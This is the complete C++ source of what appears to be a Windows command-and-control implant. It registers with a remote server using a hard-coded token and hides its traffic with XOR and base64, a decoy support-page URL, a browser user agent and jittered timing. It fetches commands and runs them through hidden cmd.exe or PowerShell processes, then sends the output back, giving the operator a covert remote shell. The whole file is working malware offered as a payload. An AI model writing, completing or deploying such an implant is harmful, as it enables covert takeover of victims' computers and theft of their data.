// x86_64-w64-mingw32-g++ -std=c++17 -o Actual_Payload_HTTP_XOR.exe Actual_Payload_HTTP_XOR.cpp -static -lwinhttp -lws2_32 -lgdi32 -static-libgcc -static-libstdc++ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "winhttp.lib") const std::string SERVER_IP = "127.0.0.0"; const int SERVER_PORT = 443; const std::string AUTH_ID = "03c5cbb4-db45-4777-b716-f276d1a9fde3"; const int XOR_KEY = 205; const bool STATUS_BASE64 = false; const std::string DEFAULT_USER_AGENT = "Mozilla/5.0"; std::string PREPEND_OUTPUT = ""; std::string APPEND_OUTPUT = ""; std::map GET_CLIENT_HEADERS; std::map POST_CLIENT_HEADERS; std::string session_id = ""; std::vector uris = {"/support/troubleshoot"}; std::string current_user_agent = DEFAULT_USER_AGENT; double sleep_time = 60.0; int start_jitter = 0; int end_jitter = 0; bool heartbeat_running = true; namespace base64 { static const std::string chars_urlsafe = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; static const std::string chars_standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; std::string encode(const std::vector& data) { const std::string& chars = STATUS_BASE64 ? chars_urlsafe : chars_standard; std::string ret; int val = 0, valb = -6; for (uint8_t c : data) { val = (val << 8) + c; valb += 8; while (valb >= 0) { ret.push_back(chars[(val >> valb) & 0x3F]); valb -= 6; } } if (valb > -6) ret.push_back(chars[((val << 8) >> (valb + 8)) & 0x3F]); if (!STATUS_BASE64) { while (ret.size() % 4) ret.push_back('='); } return ret; } std::vector decode(const std::string& data) { const std::string& chars = STATUS_BASE64 ? chars_urlsafe : chars_standard; std::vector ret; int val = 0, valb = -8; for (char c : data) { if (c == '=') break; size_t pos = chars.find(c); if (pos == std::string::npos) continue; val = (val << 6) + pos; valb += 6; if (valb >= 0) { ret.push_back((val >> valb) & 0xFF); valb -= 8; } } return ret; } } std::string xor_encrypt_decrypt_string(const std::string& data, int key) { std::vector data_bytes(data.begin(), data.end()); std::vector encrypted; for (uint8_t b : data_bytes) { encrypted.push_back(b ^ static_cast(key)); } return base64::encode(encrypted); } std::string xor_decrypt_base64_string(const std::string& enc_data, int key) { if (enc_data.empty()) return ""; try { std::vector data = base64::decode(enc_data); std::vector decrypted; for (uint8_t b : data) { decrypted.push_back(b ^ static_cast(key)); } return std::string(decrypted.begin(), decrypted.end()); } catch (...) { return ""; } } std::string trim(const std::string& str) { size_t start = str.find_first_not_of(" \t\r\n"); if (start == std::string::npos) return ""; size_t end = str.find_last_not_of(" \t\r\n"); return str.substr(start, end - start + 1); } std::string get_url(std::mt19937& gen) { if (uris.empty()) return "/support/troubleshoot"; std::uniform_int_distribution<> dis(0, static_cast(uris.size() - 1)); return uris[dis(gen)]; } std::map parse_headers(const std::string& raw_value) { std::map result; if (raw_value.empty()) return result; char separator = (raw_value.find(';') != std::string::npos) ? ';' : '\n'; std::stringstream ss(raw_value); std::string line; while (std::getline(ss, line, separator)) { line = trim(line); if (line.empty() || line.find(':') == std::string::npos) continue; size_t colon_pos = line.find(':'); std::string key = trim(line.substr(0, colon_pos)); std::string value = trim(line.substr(colon_pos + 1)); if (!key.empty() && !value.empty()) { result[key] = value; } } return result; } std::string http_request(const std::string& url, const std::string& json_body, bool is_post) { std::wstring wserver(SERVER_IP.begin(), SERVER_IP.end()); std::wstring wpath(url.begin(), url.end()); std::wstring wua(current_user_agent.begin(), current_user_agent.end()); HINTERNET hSession = WinHttpOpen(wua.c_str(), WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!hSession) { return ""; } DWORD secure_protocols = 0; WinHttpSetOption(hSession, WINHTTP_OPTION_SECURE_PROTOCOLS, &secure_protocols, sizeof(secure_protocols)); DWORD timeout = 30000; WinHttpSetOption(hSession, WINHTTP_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(timeout)); WinHttpSetOption(hSession, WINHTTP_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout)); WinHttpSetOption(hSession, WINHTTP_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout)); HINTERNET hConnect = WinHttpConnect(hSession, wserver.c_str(), (INTERNET_PORT)SERVER_PORT, 0); if (!hConnect) { WinHttpCloseHandle(hSession); return ""; } HINTERNET hRequest = WinHttpOpenRequest(hConnect, is_post ? L"POST" : L"GET", wpath.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return ""; } std::wstring headers = L"Content-Type: application/json\r\n"; headers += L"Host: " + wserver + L"\r\n"; headers += L"Connection: close\r\n"; headers += L"Accept: */*\r\n"; headers += L"Accept-Language: en-US,en;q=0.9\r\n"; if (!json_body.empty()) { headers += L"Content-Length: " + std::to_wstring(json_body.length()) + L"\r\n"; } headers += L"\r\n"; BOOL sendResult = WinHttpSendRequest(hRequest, headers.c_str(), headers.length(), WINHTTP_NO_REQUEST_DATA, 0, json_body.length(), 0); if (!sendResult) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return ""; } if (!json_body.empty()) { DWORD bytesWritten = 0; if (!WinHttpWriteData(hRequest, json_body.c_str(), json_body.length(), &bytesWritten)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return ""; } } if (!WinHttpReceiveResponse(hRequest, NULL)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return ""; } std::string response; DWORD bytesAvailable = 0; DWORD bytesRead = 0; char buffer[4096]; do { bytesAvailable = 0; if (!WinHttpQueryDataAvailable(hRequest, &bytesAvailable)) { break; } if (bytesAvailable > 0) { DWORD toRead = std::min(bytesAvailable, (DWORD)sizeof(buffer) - 1); if (WinHttpReadData(hRequest, buffer, toRead, &bytesRead)) { buffer[bytesRead] = '\0'; response += buffer; } } } while (bytesAvailable > 0); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return response; } std::string get_json_value(const std::string& json, const std::string& key) { std::string search = "\"" + key + "\":"; size_t pos = json.find(search); if (pos == std::string::npos) return ""; pos += search.length(); while (pos < json.length() && std::isspace(json[pos])) pos++; if (pos >= json.length()) return ""; bool is_string = (json[pos] == '"'); if (is_string) pos++; size_t end = is_string ? json.find('"', pos) : json.find_first_of(",}]", pos); if (end == std::string::npos) end = json.length(); return json.substr(pos, end - pos); } std::vector get_json_array(const std::string& json, const std::string& key) { std::vector result; std::string search = "\"" + key + "\":"; size_t pos = json.find(search); if (pos == std::string::npos) return result; pos += search.length(); while (pos < json.length() && std::isspace(json[pos])) pos++; if (pos >= json.length() || json[pos] != '[') return result; pos++; while (pos < json.length()) { while (pos < json.length() && std::isspace(json[pos])) pos++; if (json[pos] == ']') break; if (json[pos] == '"') { pos++; size_t end = json.find('"', pos); if (end != std::string::npos) { result.push_back(json.substr(pos, end - pos)); pos = end + 1; } } while (pos < json.length() && json[pos] != ',' && json[pos] != ']') pos++; if (pos < json.length() && json[pos] == ',') pos++; } return result; } std::string run_cmd_command(const std::string& cmd) { SECURITY_ATTRIBUTES sa{}; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; HANDLE hStdoutRd = nullptr; HANDLE hStdoutWr = nullptr; if (!CreatePipe(&hStdoutRd, &hStdoutWr, &sa, 0)) { return "[-] Failed to create pipe"; } SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0); PROCESS_INFORMATION pi{}; STARTUPINFOA si{}; si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdOutput = hStdoutWr; si.hStdError = hStdoutWr; std::string full_cmd = "cmd.exe /c " + cmd; std::vector cmd_line(full_cmd.begin(), full_cmd.end()); cmd_line.push_back('\0'); BOOL success = CreateProcessA(nullptr, cmd_line.data(), nullptr, nullptr, TRUE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi); CloseHandle(hStdoutWr); if (!success) { DWORD error = GetLastError(); CloseHandle(hStdoutRd); return "[-] CMD execution error: " + std::to_string(error); } std::string result; DWORD bytesRead; char buffer[4096]; while (ReadFile(hStdoutRd, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) { buffer[bytesRead] = '\0'; result += buffer; } DWORD exitCode = 0; WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &exitCode); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hStdoutRd); std::string output = trim(result); if (exitCode != 0) { output += "\n[Exit Code: " + std::to_string(exitCode) + "]"; } return output.empty() ? "[+] Command executed (no output)" : output; } std::string run_powershell_command(const std::string& ps_cmd) { std::string escaped_cmd; for (char c : ps_cmd) { if (c == '"') { escaped_cmd += "\\\""; } else { escaped_cmd += c; } } SECURITY_ATTRIBUTES sa{}; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; HANDLE hStdoutRd = nullptr; HANDLE hStdoutWr = nullptr; if (!CreatePipe(&hStdoutRd, &hStdoutWr, &sa, 0)) { return "[-] Failed to create pipe"; } SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0); PROCESS_INFORMATION pi{}; STARTUPINFOA si{}; si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdOutput = hStdoutWr; si.hStdError = hStdoutWr; std::string full_cmd = "powershell.exe -NoProfile -NonInteractive -Command " + escaped_cmd; std::vector cmd_line(full_cmd.begin(), full_cmd.end()); cmd_line.push_back('\0'); BOOL success = CreateProcessA(nullptr, cmd_line.data(), nullptr, nullptr, TRUE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi); CloseHandle(hStdoutWr); if (!success) { DWORD error = GetLastError(); CloseHandle(hStdoutRd); return "[-] PowerShell execution error: " + std::to_string(error); } std::string result; DWORD bytesRead; char buffer[4096]; while (ReadFile(hStdoutRd, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) { buffer[bytesRead] = '\0'; result += buffer; } DWORD exitCode = 0; WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &exitCode); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hStdoutRd); std::string output = trim(result); if (exitCode != 0) { output += "\n[Exit Code: " + std::to_string(exitCode) + "]"; } return output.empty() ? "[+] PowerShell command executed (no output)" : output; } std::string execute_command(const std::string& cmd) { std::string trimmed = trim(cmd); if (trimmed.empty()) { return "[no command]"; } std::string upper_cmd = trimmed; std::transform(upper_cmd.begin(), upper_cmd.end(), upper_cmd.begin(), ::toupper); if (upper_cmd.length() >= 3 && upper_cmd.substr(0, 3) == "EP ") { return run_powershell_command(trim(trimmed.substr(3))); } if (upper_cmd.length() >= 2 && upper_cmd.substr(0, 2) == "EP") { return run_powershell_command(trim(trimmed.substr(2))); } return run_cmd_command(trimmed); } bool checkin(std::mt19937& gen) { std::string encrypted_token = xor_encrypt_decrypt_string(AUTH_ID, XOR_KEY); std::string payload = "{\"action\":\"checkin\",\"token\":\"" + encrypted_token + "\"}"; try { std::string response = http_request(get_url(gen), payload, true); if (response.empty()) { return false; } std::string enc_session = get_json_value(response, "session_id"); if (enc_session.empty()) { return false; } session_id = xor_decrypt_base64_string(enc_session, XOR_KEY); if (session_id.empty()) { return false; } std::string enc_ua = get_json_value(response, "user_agent"); if (!enc_ua.empty()) { std::string ua = xor_decrypt_base64_string(enc_ua, XOR_KEY); if (!ua.empty()) { current_user_agent = ua; } } std::string enc_start = get_json_value(response, "start_jitter"); std::string enc_end = get_json_value(response, "end_jitter"); std::string enc_sleep = get_json_value(response, "Sleep"); try { if (!enc_start.empty()) { std::string dec = xor_decrypt_base64_string(enc_start, XOR_KEY); if (!dec.empty()) { start_jitter = std::stoi(dec); } } if (!enc_end.empty()) { std::string dec = xor_decrypt_base64_string(enc_end, XOR_KEY); if (!dec.empty()) { end_jitter = std::stoi(dec); } } if (!enc_sleep.empty()) { std::string dec = xor_decrypt_base64_string(enc_sleep, XOR_KEY); if (!dec.empty()) { sleep_time = std::stod(dec); } } } catch (...) { } std::vector uris_raw = get_json_array(response, "uris"); std::vector uris_dec; for (const auto& u : uris_raw) { std::string dec = xor_decrypt_base64_string(u, XOR_KEY); if (!dec.empty()) { uris_dec.push_back(dec); } } if (!uris_dec.empty()) { uris = uris_dec; } std::string enc_prepend = get_json_value(response, "prepend_output"); std::string enc_append = get_json_value(response, "append_output"); PREPEND_OUTPUT = xor_decrypt_base64_string(enc_prepend, XOR_KEY); APPEND_OUTPUT = xor_decrypt_base64_string(enc_append, XOR_KEY); std::string enc_get_headers = get_json_value(response, "get_client_headers"); std::string enc_post_headers = get_json_value(response, "post_client_headers"); GET_CLIENT_HEADERS = parse_headers(xor_decrypt_base64_string(enc_get_headers, XOR_KEY)); POST_CLIENT_HEADERS = parse_headers(xor_decrypt_base64_string(enc_post_headers, XOR_KEY)); return true; } catch (...) { return false; } } std::string get_tasks(std::mt19937& gen) { if (session_id.empty()) { return ""; } std::string payload = "{\"action\":\"get_tasks\",\"session_id\":\"" + xor_encrypt_decrypt_string(session_id, XOR_KEY) + "\"}"; try { std::string resp = http_request(get_url(gen), payload, true); if (resp.empty()) { return ""; } std::string enc_cmd = get_json_value(resp, "command"); if (enc_cmd.empty()) { return ""; } std::string decrypted_cmd = trim(xor_decrypt_base64_string(enc_cmd, XOR_KEY)); return decrypted_cmd; } catch (...) { return ""; } } void submit_output(const std::string& output, std::mt19937& gen) { if (session_id.empty()) { return; } std::string final_output = PREPEND_OUTPUT + (output.empty() ? "[no output]" : output) + APPEND_OUTPUT; std::string encrypted_output = xor_encrypt_decrypt_string(final_output, XOR_KEY); std::string payload = "{\"action\":\"submit\",\"session_id\":\"" + xor_encrypt_decrypt_string(session_id, XOR_KEY) + "\",\"output\":\"" + encrypted_output + "\"}"; try { http_request(get_url(gen), payload, true); } catch (...) { } } void heartbeat(std::mt19937& gen) { if (session_id.empty()) return; std::string payload = "{\"action\":\"heartbeat\",\"session_id\":\"" + xor_encrypt_decrypt_string(session_id, XOR_KEY) + "\"}"; try { http_request(get_url(gen), payload, true); } catch (...) { } } void heartbeat_thread() { std::random_device rd; std::mt19937 gen(rd()); std::uniform_real_distribution<> dis(-15.0, 30.0); while (heartbeat_running) { heartbeat(gen); double sleep_duration = 45.0 + dis(gen); std::this_thread::sleep_for(std::chrono::milliseconds(static_cast(sleep_duration * 1000))); } } void apply_jitter(std::mt19937& gen) { int actual_start = start_jitter; int actual_end = end_jitter; if (actual_start > actual_end) { std::swap(actual_start, actual_end); } std::uniform_int_distribution<> dis(actual_start, actual_end); int jitter_amount = dis(gen); double final_sleep = sleep_time + jitter_amount; final_sleep = std::max(10.0, std::min(900.0, final_sleep)); std::this_thread::sleep_for(std::chrono::milliseconds(static_cast(final_sleep * 1000))); } void main_loop() { std::random_device rd; std::mt19937 gen(rd()); std::thread hb_thread(heartbeat_thread); hb_thread.detach(); while (session_id.empty()) { if (checkin(gen)) { break; } std::uniform_real_distribution<> dis(20.0, 60.0); double wait_time = dis(gen); std::this_thread::sleep_for(std::chrono::milliseconds(static_cast(wait_time * 1000))); } while (true) { try { std::string cmd = get_tasks(gen); if (!cmd.empty() && cmd != "\"\"") { std::string result = execute_command(cmd); submit_output(result, gen); } apply_jitter(gen); } catch (...) { std::this_thread::sleep_for(std::chrono::seconds(60)); } } } int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { main_loop(); return 0; }